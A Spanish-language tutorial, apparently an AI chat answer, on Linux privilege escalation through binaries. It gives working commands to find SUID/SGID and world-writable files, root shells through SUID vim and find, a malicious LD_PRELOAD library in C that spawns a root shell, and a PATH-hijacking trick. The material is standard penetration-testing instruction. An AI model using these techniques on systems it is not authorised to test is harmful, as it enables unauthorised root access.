La escalada de privilegios utilizando binarios se basa en encontrar programas instalados en un sistema que tienen permisos elevados (como root) y explotar estos binarios para obtener mayores privilegios. Aquí hay una descripción general de cómo funciona y algunos métodos comunes para lograrlo:

**1. Binarios SUID/SGID**

Los binarios SUID (Set User ID) y SGID (Set Group ID) son ejecutables que se ejecutan con los permisos del propietario del archivo, no con los permisos del usuario que los ejecuta. Si un binario SUID es propiedad del usuario root, se ejecutará con permisos de root, lo que puede llevar a una escalada de privilegios si se explota correctamente.

**Identificar binarios SUID/SGID**

bash

Copy code

# Buscar binarios SUID

find / -perm -4000 -type f 2>/dev/null

# Buscar binarios SGID

find / -perm -2000 -type f 2>/dev/null

**Explotación de binarios SUID**

Algunos binarios SUID pueden ser explotados para obtener una shell con privilegios elevados. Por ejemplo, si vim es un binario SUID, puedes obtener una shell de root de la siguiente manera:

bash

Copy code

# Ejecutar vim y obtener una shell

vim -c '!sh'

**2. GTFOBins**

GTFOBins es una colección de binarios Unix que pueden ser usados para bypass de medidas de seguridad y escalada de privilegios. Aquí se pueden encontrar ejemplos de cómo usar varios binarios para elevar privilegios.

**Ejemplo con find**

Si find es un binario SUID:

bash

Copy code

# Obtener una shell con find

find . -exec /bin/sh \; -quit

**3. Binarios con permisos incorrectos**

A veces, los binarios pueden tener permisos incorrectos que permiten a un usuario sin privilegios modificarlos. Si un usuario puede modificar un binario que se ejecuta con permisos elevados, puede reemplazarlo con una versión maliciosa.

**Identificar binarios con permisos incorrectos**

bash

Copy code

# Buscar binarios con permisos de escritura para otros usuarios

find / -type f -perm -o+w 2>/dev/null

**4. LD\_PRELOAD y LD\_LIBRARY\_PATH**

Algunos programas cargan bibliotecas dinámicas cuando se ejecutan. Puedes aprovechar esto para cargar tu propia biblioteca maliciosa si puedes establecer las variables de entorno LD\_PRELOAD o LD\_LIBRARY\_PATH.

**Ejemplo de uso de LD\_PRELOAD**

c

Copy code

// Crea una biblioteca maliciosa en C

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void \_init() {

unsetenv("LD\_PRELOAD");

setgid(0);

setuid(0);

system("/bin/sh");

}

Compila esta biblioteca:

bash

Copy code

gcc -fPIC -shared -o evil.so evil.c -nostartfiles

Luego, ejecuta el binario vulnerable con la variable LD\_PRELOAD establecida a tu biblioteca maliciosa:

bash

Copy code

LD\_PRELOAD=./evil.so /bin/vulnerable\_binary

**5. PATH Hijacking**

Algunos scripts o binarios pueden ejecutar otros programas sin especificar su ruta completa, confiando en que están en el PATH. Si puedes modificar el PATH para apuntar a un directorio controlado por ti, puedes poner tus propios binarios maliciosos allí.

**Ejemplo de PATH Hijacking**

bash

Copy code

# Crear un binario malicioso

echo '/bin/sh' > /tmp/ls

chmod +x /tmp/ls

# Modificar el PATH para incluir /tmp al principio

export PATH=/tmp:$PATH

# Ejecutar el script vulnerable que usa `ls`

/path/to/vulnerable\_script

**Conclusión**

Estos son solo algunos ejemplos de cómo puedes realizar una escalada de privilegios utilizando binarios en sistemas Unix/Linux. Es fundamental recordar que estas técnicas deben ser utilizadas exclusivamente en entornos de pruebas controlados y con permisos adecuados. La práctica ética y legal es esencial en el campo de la ciberseguridad.